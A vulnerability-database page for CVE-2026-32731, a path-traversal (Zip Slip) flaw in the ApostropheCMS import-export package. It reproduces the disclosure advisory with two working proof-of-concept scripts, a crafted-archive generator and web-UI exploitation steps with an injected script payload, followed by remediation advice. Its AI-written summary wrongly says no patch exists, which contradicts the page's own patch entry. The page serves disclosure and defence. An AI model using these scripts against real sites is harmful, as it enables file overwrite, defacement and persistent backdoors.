Skip to main content

Python CVE-2026-32731

| EUVDEUVD-2026-12978 CRITICAL
Path Traversal (CWE-22)
2026-03-18 https://github.com/apostrophecms/apostrophe GHSA-mwxc-m426-3f78
9.9
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
EUVD ID Assigned
Mar 18, 2026 - 20:00 euvd
EUVD-2026-12978
Analysis Generated
Mar 18, 2026 - 20:00 vuln.today
CVE Published
Mar 18, 2026 - 19:49 nvd
CRITICAL 9.9

DescriptionGitHub Advisory

Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export

---

Product

FieldValue
Repositoryapostrophecms/apostrophe (monorepo)
Affected Package@apostrophecms/import-export
Affected Filepackages/import-export/lib/formats/gzip.js
Affected Functionextract(filepath, exportPath) - lines ~132-157
Minimum Required PermissionGlobal Content Modify (any editor-level user with import access)

---

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

js
fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission - a role routinely assigned to content editors and site managers - can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

---

Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write

Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

  • Any path the CMS process has permission to

2. Static Web Directory - Defacement & Malicious Asset Injection

ApostropheCMS serves <project-root>/public/ via Express static middleware:

js
// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables:

  • Full site defacement
  • Serving phishing pages from the legitimate CMS domain
  • Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart)

If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure - meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite

Overwrite .env, app.config.js, database seed files, or any config file to:

  • Exfiltrate database credentials on next load
  • Redirect authentication to an attacker-controlled backend
  • Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service

Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.

---

Required Permission

Global Content Modify - this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

---

Proof of Concept

Two PoC artifacts are provided:

FilePurpose
tmp-import-export-zip-slip-poc.jsAutomated Node.js harness - verifies the write happens without a browser
make-slip-tar.pyAttacker tool - generates a real .tar.gz for upload via the CMS web UI

---

PoC 1 - Automated Verification (tmp-import-export-zip-slip-poc.js)

js
const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();

Run:

powershell
node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed):

EXPORT_PATH:            C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:        PWNED_FROM_TAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

---

PoC 2 - Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py):

python
import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)

---

Steps to Reproduce (Web UI - Real Exploitation)

Step 1 - Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

bash
echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 - Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root - typically 2-4 levels up. Adjust as needed:

bash
python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing:

  • aposDocs.json - empty, required by the importer
  • aposAttachments.json - empty, required by the importer
  • ../../../../<project-root>/public/injected.html - the traversal payload

Step 3 - Upload via CMS Import UI

  1. Log in to the CMS with any account that has Global Content Modify permission.
  2. Navigate to Open Global Settings → More Options → Import.
  3. Select evil-slip.tar.gz and click Import.
  4. The CMS accepts the file and begins extraction - no error is shown.

Step 4 - Confirm the write

bash
curl http://localhost:3000/injected.html

Expected response:

<!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing

---

AnalysisAI

Path traversal in ApostropheCMS import-export module allows authenticated users with content modification permissions to write files outside the intended export directory via malicious archive entries containing directory traversal sequences. An attacker with editor-level access can exploit this vulnerability to overwrite arbitrary files on the system with CVSS 9.9 critical severity. No patch is currently available for this vulnerability affecting Node.js environments.

Technical ContextAI

The vulnerability exists in the gzip.js module's extract() function (lines 132-157) within the @apostrophecms/import-export package. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), specifically a classic Zip Slip attack where the code uses path.join() to construct file write paths without sanitizing or resolving traversal sequences like '../'. When processing tar archive entries, the function directly creates write streams using fs.createWriteStream(path.join(exportPath, header.name)) without validating that the resulting path remains within the intended extraction directory. The affected package is identified by CPE pkg:npm/@apostrophecms_import-export and resides in the apostrophecms/apostrophe monorepo. This type of vulnerability is common in archive extraction implementations that fail to canonicalize paths or check for directory traversal attempts before file system operations.

RemediationAI

Immediately upgrade the @apostrophecms/import-export package to version 3.5.3 or later, which contains the patch for this vulnerability as confirmed in the GitHub Security Advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78. Organizations should audit all user accounts with Global Content Modify permission and apply principle of least privilege, restricting import functionality to only trusted administrators until patching is complete. As an interim mitigation, disable or restrict access to the import functionality through the CMS settings or implement file system permissions that prevent the Node.js process from writing to critical directories such as the application root, public assets directory, and node_modules. After patching, review file system logs and the public directory for any suspicious files written between the vulnerability disclosure date and patch application, particularly looking for unexpected JavaScript files, HTML files, or modifications to configuration files that could indicate exploitation. Consider implementing application-level file integrity monitoring on critical directories and rotating credentials stored in configuration files as a precautionary measure.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Share

CVE-2026-32731 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy